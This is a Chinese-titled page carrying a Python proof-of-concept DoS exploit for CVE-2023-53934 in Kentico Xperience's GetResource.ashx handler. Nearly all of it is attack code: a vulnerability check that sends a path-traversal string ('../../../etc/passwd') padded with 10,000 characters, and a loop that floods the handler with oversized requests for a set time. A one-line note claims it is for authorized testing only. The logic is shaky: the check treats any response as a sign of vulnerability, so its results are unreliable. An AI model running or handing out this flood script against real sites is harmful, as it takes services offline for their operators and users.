CVE-2023-53934: Kentico Xperience GetResource处理器拒绝服务漏洞

import requests import time import sys # CVE-2023-53934 PoC - Kentico Xperience GetResource DoS # Target: Kentico Xperience GetResource handler # Note: For authorized security testing only def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2023-53934""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } # Crafted payload that triggers DoS condition # The GetResource handler processes this specially crafted request params = { 'resource': '../../../etc/passwd' + 'A' * 10000, 'hash': '' } try: print(f'[*] Testing target: {target_url}') response = requests.get( f'{target_url}/CMSPages/GetResource.ashx', params=params, headers=headers, timeout=10 ) print(f'[+] Response status: {response.status_code}') return response.status_code != 0 except requests.exceptions.Timeout: print('[!] Request timeout - target may be vulnerable or blocked') return True except Exception as e: print(f'[-] Error: {str(e)}') return False def dos_attack(target_url, duration=30): """Perform DoS attack demonstration""" print(f'[*] Starting DoS attack for {duration} seconds') end_time = time.time() + duration request_count = 0 while time.time() < end_time: try: params = { 'resource': 'A' * 50000, 'cacheminutes': 0 } requests.get( f'{target_url}/CMSPages/GetResource.ashx', params=params, timeout=5 ) request_count += 1 if request_count % 10 == 0: print(f'[*] Sent {request_count} requests') except: pass print(f'[+] Attack completed. Sent {request_count} requests') if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2023-53934.py <target_url>') sys.exit(1) target = sys.argv[1] check_vulnerability(target)